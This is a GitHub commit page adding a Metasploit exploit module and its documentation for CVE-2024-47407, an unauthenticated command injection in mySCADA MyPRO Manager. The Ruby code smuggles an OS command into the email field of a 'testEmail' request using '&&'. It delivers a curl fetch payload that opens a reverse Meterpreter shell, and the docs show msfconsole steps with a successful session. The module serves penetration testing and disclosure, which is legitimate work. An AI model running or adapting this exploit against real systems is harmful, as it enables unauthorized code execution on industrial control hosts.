Skip to content

Commit d96d980

Browse files
authored
Land rapid7#19846, module for CVE-2024-47407 MySCADA MyPro Manager
mySCADA MyPRO Manager Command Injection (CVE-2024-47407) Module
2 parents 300e99d + 21b3315 commit d96d980

File tree

2 files changed

+171
-0
lines changed

2 files changed

+171
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).
6+
7+
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
8+
`myscada9`, an administrative user that is automatically added by the product during installation.
9+
10+
Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
11+
the security issues. The official changelog from the vendor for the updated version is available
12+
[here](https://www.myscada.org/docs/5-11-2024/).
13+
14+
**Vulnerable Application Installation**
15+
16+
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
17+
18+
**Successfully tested on**
19+
20+
- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)
21+
22+
## Verification Steps
23+
24+
1. Install the application
25+
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
26+
3. Start `msfconsole` and run the following commands:
27+
28+
```
29+
msf6 > use exploit/windows/scada/mypro_mgr_cmd
30+
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
31+
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
32+
```
33+
34+
You should get a meterpreter session in the context of `myscada9`.
35+
36+
## Scenarios
37+
38+
Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
39+
following:
40+
41+
```
42+
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
43+
44+
[*] Started reverse TCP handler on 192.168.1.227:4444
45+
[*] Running automatic check ("set AutoCheck false" to disable)
46+
[+] The target appears to be vulnerable.
47+
[*] Sending stage (201798 bytes) to 192.168.1.228
48+
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
49+
[*] Exploit finished, check thy shell.
50+
51+
meterpreter > getuid
52+
Server username: asdf\myscada9
53+
meterpreter > sysinfo
54+
Computer : asdf
55+
OS : Windows 11 (10.0 Build 22621).
56+
Architecture : x64
57+
System Language : en_US
58+
Domain : WORKGROUP
59+
Logged On Users : 3
60+
Meterpreter : x64/windows
61+
```
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
11+
'Description' => %q{
12+
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
13+
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17+
'References' => [
18+
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
19+
[ 'CVE', '2024-47407']
20+
],
21+
'DisclosureDate' => '2024-11-21',
22+
'DefaultOptions' => {
23+
'RPORT' => 34022,
24+
'SSL' => 'False'
25+
},
26+
'Platform' => 'win',
27+
'Arch' => [ ARCH_CMD ],
28+
'Targets' => [
29+
[
30+
'Windows_Fetch',
31+
{
32+
'Arch' => [ ARCH_CMD ],
33+
'Platform' => 'win',
34+
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
35+
'Type' => :win_fetch
36+
}
37+
]
38+
],
39+
'DefaultTarget' => 0,
40+
41+
'Notes' => {
42+
'Stability' => [CRASH_SAFE],
43+
'Reliability' => [REPEATABLE_SESSION],
44+
'SideEffects' => [IOC_IN_LOGS]
45+
}
46+
)
47+
)
48+
49+
register_options(
50+
[
51+
OptString.new(
52+
'TARGETURI',
53+
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
54+
)
55+
]
56+
)
57+
end
58+
59+
def check
60+
begin
61+
res = send_request_cgi({
62+
'method' => 'GET',
63+
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
64+
})
65+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
66+
return CheckCode::Unknown
67+
end
68+
69+
if res.to_s =~ /const v="([^"]+)"/
70+
version = ::Regexp.last_match(1)
71+
vprint_status('Version retrieved: ' + version)
72+
if Rex::Version.new(version) <= Rex::Version.new('1.2')
73+
return CheckCode::Appears
74+
end
75+
76+
return CheckCode::Safe
77+
end
78+
return CheckCode::Unknown
79+
end
80+
81+
def exploit
82+
execute_command(payload.encoded)
83+
end
84+
85+
def execute_command(cmd)
86+
exec_mypro_mgr(cmd)
87+
print_status('Exploit finished, check thy shell.')
88+
end
89+
90+
def exec_mypro_mgr(cmd)
91+
post_data = {
92+
'command' => 'testEmail',
93+
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
94+
}
95+
96+
res = send_request_cgi({
97+
'method' => 'POST',
98+
'ctype' => 'application/json',
99+
'data' => JSON.generate(post_data),
100+
'uri' => normalize_uri(target_uri.path, 'get')
101+
})
102+
103+
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
104+
print_good('Command successfully executed, check your shell.')
105+
else
106+
print_error('Unexpected or no reply received.')
107+
end
108+
end
109+
110+
end

0 commit comments

Comments
 (0)